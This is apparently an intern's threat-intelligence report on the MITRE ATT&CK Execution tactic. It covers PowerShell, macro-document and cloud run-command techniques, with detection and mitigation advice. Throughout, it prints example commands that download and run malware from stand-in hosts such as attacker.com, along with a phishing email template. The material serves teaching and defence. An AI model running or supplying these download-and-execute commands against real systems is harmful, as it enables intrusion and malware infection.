**TASK :- Threat Intelligence**

# Name: - Megha Banne Intern I’d : -220

**Tactic Chosen: Execution (TA0002)**

**MITRE Link:** [**https://attack.mitre.org/tactics/TA0002/**](https://attack.mitre.org/tactics/TA0002/)

**Description of the Tactic:-**

The Execution tactic involves techniques that result in running malicious code on a victim's system. After gaining access, attackers must execute code to achieve objectives like persistence, data theft, or lateral movement.

Execution can be triggered by user actions (e.g., opening a malicious file) or automatically via scripts, tools, or cloud services.

**Objective of This PoC:**

To demonstrate how attackers use **three execution techniques** to compromise systems using:

* PowerShell (T1059)
* Macro-enabled documents (T1204.002)
* Cloud administration commands (T1651)

🧪 Techniques Selected (with MITRE IDs):

**Technique**

**Technique Name MITRE Link**

**ID**

Command and Scripting

T1059 <https://attack.mitre.org/techniques/T1059/>

Interpreter

User Execution: Malicious File

T1204.002 <https://attack.mitre.org/techniques/T1204/002/>

(Macro)

T1651 Cloud Administration Command <https://attack.mitre.org/techniques/T1651/>

**Technique 1: T1059 – Command and Scripting Interpreter(PowerShell)**

**Description:**

Attackers use PowerShell — a powerful Windows command-line tool — to execute malicious code. It's commonly used in fileless attacks where scripts run directly in memory, avoiding traditional antivirus detection.

**Purpose:**

PowerShell gives attackers a **silent and flexible way** to run commands, download malware, and gain control over the victim’s system — often without needing to install anything.

**Real-world Use:**

APT29 (Cozy Bear), a Russian state-sponsored group, used PowerShell to execute commands during cyber-espionage attacks on U.S. government agencies.

**Commands / Scripts:**

Malicious PowerShell commands typically look like this:

Invoke-WebRequest http://attacker.com/malware.exe -OutFile malware.exe

Start-Process malware.exe

**Or downloaded via phishing:**

powershell.exe -ExecutionPolicy Bypass -File payload.ps1

**PoC Scenario:**

1. Attacker uploads a malicious script named payload.ps1 to their server.
2. A phishing email is sent to the victim with a link to the script.
3. Victim clicks the link — which triggers this command:

powershell.exe -ExecutionPolicy Bypass -File payload.ps1

The script silently downloads malware and starts it on the victim's PC

**Detection:**

* Monitor for PowerShell processes using -ExecutionPolicy Bypass or hidden windows.
* Use Windows Event Logging and PowerShell logging (Event ID 4104).
* Watch for PowerShell spawning suspicious child processes like cmd.exe, mshta.exe, etc.

**Mitigation:**

* Enable **PowerShell Script Block Logging**.
* Use **Constrained Language Mode** to limit functionality.
* Block PowerShell use for non-admin users.
* Use Endpoint Detection and Response (EDR) tools to monitor behavior.

Technique 2: T1204.002 – User Execution: Malicious File (Macro-Enabled Document)

**Description:**

Attackers often use **macro-enabled Office documents** (like Word or Excel files) to trick users into running malicious code. These macros are small programs that run when the document is opened — often used to download and execute malware.

**Purpose:**

To **bypass technical controls** by leveraging human behavior. The attacker tricks the victim into **manually enabling macros**, which silently runs malicious scripts in the background.

**Real-world Use:**

FIN7 and APT28 (Fancy Bear) used phishing emails with fake invoices and reports containing malicious macros to compromise finance and government sectors.

**Commands / Scripts:**

Example malicious macro inside a Word document:

Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"

This macro, once triggered, downloads a malware payload and executes it silently.

**PoC Scenario:**

1. Attacker creates a Word file with an embedded macro.
2. Email is crafted to say:

**Subject:** Urgent Payment Request – Please Review Immediately! **Attachment:** Invoice\_Q3.docm

1. Victim opens the document and clicks “Enable Macros.”
2. Macro runs PowerShell command to download and run malware from attacker's server.
3. Victim’s system is infected without any visible alert.

**Detection:**

* Monitor Office apps (e.g., winword.exe) launching PowerShell or CMD.
* Use Microsoft Defender or Sysmon to detect macro activity.
* Watch for document files that spawn network activity or unexpected processes.

**Mitigation:**

* Block macros in Office files from the internet (Group Policy setting).
* Disable automatic macro execution.
* Use email security to filter suspicious attachments.
* Train employees to avoid enabling macros unless necessary.

# Technique 3: T1651 – Cloud Administration Command

**Description:**

Attackers use built-in cloud administration tools (like AWS Systems Manager or Azure RunCommand) to remotely execute commands on cloud virtual machines (VMs). Since these tools are trusted and normally used by admins, attacks often go undetected.

**Purpose:**

To **gain remote access** to cloud-based infrastructure and execute malicious commands or deploy malware without needing direct access to the VM.

**Real-world Use:**

The **Lazarus Group** (North Korea) reportedly used stolen cloud credentials to gain access to infrastructure and run malware using cloud-native tools like AWS SSM (Systems Manager).

**Commands / Scripts:**

**Azure CLI Example:**

az vm run-command invoke -g MyResourceGroup -n TargetVM --command-id

RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/m.exe -OutFile

C:\\malware.exe; Start-Process C:\\malware.exe"

aws ssm send-command --instance-ids i-1234567890abcdef0 --document-name AWS-

RunPowerShellScript --parameters 'commands=["Invoke-WebRequest

http://attacker.com/malware.exe -OutFile C:\\malware.exe", "Start-Process C:\\malware.exe"]'

**PoC Scenario:**

1. Attacker obtains stolen AWS or Azure credentials via phishing or leaked config files.
2. Logs into the cloud dashboard or CLI.
3. Uses **SSM (AWS)** or **RunCommand (Azure)** to push commands to the target VM.
4. Command downloads a malicious executable (malware.exe) and executes it silently.
5. Since this is done using cloud-native tools, no remote desktop session or open ports are required.

**Detection:**

* + Monitor logs from AWS CloudTrail or Azure Activity Logs for unexpected RunCommand or SSM usage.
  + Flag automation scripts executing outside of scheduled maintenance times.
  + Alert on VMs receiving remote commands from unexpected IPs or accounts.

**Mitigation:**

* + Enforce Just-In-Time (JIT) access — allow command execution only when required and approved.
  + Apply Role-Based Access Control (RBAC) to limit who can run admin commands.
  + Enable Multi-Factor Authentication (MFA) for all cloud admin accounts.
  + Use cloud security tools like AWS GuardDuty or Microsoft Defender for Cloud to detect abuse.

**PROCEDURE (Lab Steps) :-- Setup:**

* + Windows VM with PowerShell and MS Office installed.
  + AWS or Azure account for cloud PoC (can be simulated).
  + Tools: PowerShell, Word, AWS CLI, Azure CLI

# T1059 - PowerShell

1. Host malicious payload.ps1 on HTTP server.
2. Trigger execution:

powershell.exe -ExecutionPolicy Bypass -File payload.ps1

# T1204.002 - Macro Execution

1. Create .docm file with macro:

Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"

1. Simulate phishing email delivery.
2. User opens document, enables macro → payload runs.

# T1651 - Cloud Execution

Azure:

az vm run-command invoke --scripts "Invoke-WebRequest ...; Start-Process ..."

AWS:

aws ssm send-command --parameters 'commands=["Invoke-WebRequest ..."]'

# Conclusion: Why This PoC Is Valuable

* Demonstrates 3 realistic execution paths used in real-world attacks.
* Helps understand how common tools are abused (Word, PowerShell, Cloud APIs).
* Aligns with industry-standard MITRE ATT&CK.
* Covers endpoint, human, and cloud-based vectors — giving a broad view of attacker behavior.

**Sources (as required):**

* <https://attack.mitre.org/techniques/T1059/>
* <https://attack.mitre.org/techniques/T1204/002/>
* <https://attack.mitre.org/techniques/T1651/>